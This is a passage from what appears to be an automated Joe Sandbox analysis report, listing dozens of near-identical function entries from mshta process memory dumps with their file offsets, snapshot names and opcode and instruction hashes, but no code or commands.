                                                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0BDD0FCF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.346919853.000000000BDD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0BDD0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_bdd0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction ID: 5c547d3b0615e8fe6dcf86628d2013328d289f1a8a99cdca914d23937af44e1e
                                                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0BDD0FC7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.346919853.000000000BDD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0BDD0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_bdd0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction ID: 5c547d3b0615e8fe6dcf86628d2013328d289f1a8a99cdca914d23937af44e1e
                                                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0BDD0FBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.346919853.000000000BDD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0BDD0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_bdd0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction ID: 5c547d3b0615e8fe6dcf86628d2013328d289f1a8a99cdca914d23937af44e1e
                                                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0BDD0FB7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.346919853.000000000BDD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0BDD0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_bdd0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction ID: 5c547d3b0615e8fe6dcf86628d2013328d289f1a8a99cdca914d23937af44e1e
                                                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0BDD0FAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.346919853.000000000BDD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0BDD0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_bdd0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction ID: 5c547d3b0615e8fe6dcf86628d2013328d289f1a8a99cdca914d23937af44e1e
                                                                                        • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B67 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B77 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B7F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F47 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B47 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F4F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F57 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B5F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F2F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B2F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766032F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B37 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F37 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660307 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766030F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660F17 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660B1F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076603E7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FE7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FC7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FCF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FDF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660BA7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FA7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660FBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

